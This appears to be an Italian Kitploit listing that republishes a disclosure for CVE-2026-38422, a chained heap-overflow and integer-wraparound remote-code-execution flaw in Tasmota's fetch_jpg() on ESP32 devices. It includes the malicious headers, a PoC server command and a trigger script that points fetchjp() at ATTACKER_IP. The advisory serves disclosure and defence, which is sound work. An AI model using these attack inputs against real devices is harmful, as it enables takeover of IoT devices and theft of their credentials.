Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/sermikr0/cve-2026-38422
Sicurezza Sistemi EmbeddedSicurezza IoTAnalisi delle VulnerabilitàExploitPenetration TestingSicurezza Hardware e IoTStrumento di Accesso RemotoBinary Exploitation
GitHubsermikr0/cve-2026-38422

CVE-2026-38422

CVE-2026-38422 — Esecuzione remota di codice tramite buffer overflow combinati nella funzione fetch_jpg() di Tasmota (Tasmota <= 15.3.0.3)

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-38422: Esecuzione di codice remoto tramite buffer overflow combinati in fetch_jpg() di Tasmota

CVE: CVE-2026-38422
Gravità: Critica (CVSS 9.8)
Prodotto: Arendst Tasmota
Versione interessata: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Funzione: fetch_jpg()
Autore: Saidakbarxon Maxsudxonov
Divulgazione: Responsabile — segnalato a Tasmota prima della pubblicazione


Riepilogo

La funzione fetch_jpg() nel driver scripter di Tasmota (xdrv_10_scripter.ino) contiene due vulnerabilità di corruzione della memoria che si combinano e che insieme consentono l'esecuzione di codice remoto su dispositivi basati su ESP32 che eseguono Tasmota <= 15.3.0.3:

  1. Fase 1 (case 0): overflow di strcpy() in un buffer fisso boundary[] di 40 byte — corrompe la memoria heap adiacente, inclusi i puntatori vtable di WiFiClient/HTTPClient (vedi anche CVE-2026-38426)
  2. Fase 2 (case 2): wraparound dell'intero uint16_t su Content-Length — alloca un buffer di dimensioni insufficienti causando la corruzione dello stato dello stream (vedi anche CVE-2026-38427)

Se usate insieme in un'unica sessione di attacco, queste due primitive massimizzano la corruzione dell'heap e aumentano significativamente la probabilità di ottenere l'esecuzione di codice arbitrario.


Catena di vulnerabilità

root@kitploit:~
Attacker MJPEG Server
       │
       │ Phase 1: HTTP 200 response with long boundary string
       │   Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
       │   → strcpy(boundary[40], 50_chars) → OVERFLOW
       │   → WiFiClient vtable ptr partially overwritten
       ▼
  ESP32 Heap Corrupted
       │
       │ Phase 2: MJPEG frame with Content-Length > 65535
       │   Content-Length: 65537
       │   → uint16_t size = 1 (wraparound)
       │   → malloc(1), readBytes(buff, 1)
       │   → 65536 bytes remain in stream → heap/stream corruption
       ▼
  Double Corruption → RCE / Guaranteed DoS

Prova di concetto

root@kitploit:~
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

Il server PoC:

  1. Accetta la connessione da Tasmota (trigger fetchjp())
  2. Fase 1: invia una risposta HTTP 200 iniziale con stringa boundary di 80 caratteri (overflow)
  3. Fase 2: invia frame MJPEG con Content-Length: 65537 (wraparound)

Vedi CVE-2026-38422_poc.py per l'implementazione completa.


Attivazione tramite script Tasmota

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

Il dispositivo deve eseguire uno script Tasmota che utilizza fetchjp(). L'attaccante controlla il server a cui il dispositivo si connette (oppure esegue un MITM su una connessione esistente).


Impatto

  • Riservatezza: Alta — RCE su ESP32, accesso a segreti/credenziali del dispositivo
  • Integrità: Alta — compromissione totale del dispositivo
  • Disponibilità: Alta — crash/riavvio in loop garantito
  • Vettore di attacco: Rete (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Punteggio CVSS: 9.8 Critico

Dispositivi interessati

Qualsiasi dispositivo Tasmota basato su ESP32 che esegue una versione <= 15.3.0.3 con supporto scripter abilitato e uno script che utilizza fetchjp() per connettersi a un server MJPEG esterno.


Cronologia

  • 2026-03-29: Entrambe le vulnerabilità scoperte e segnalate a MITRE
  • 2026-03-29: CVE-2026-38422 assegnato
  • 2026-05-xx: Patch rilasciata da Tasmota (v15.3.0.4+)

Riferimenti

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38422
  • Correlati: CVE-2026-38426 (overflow di strcpy)
  • Correlati: CVE-2026-38427 (wraparound di uint16_t)
Scarica lo strumento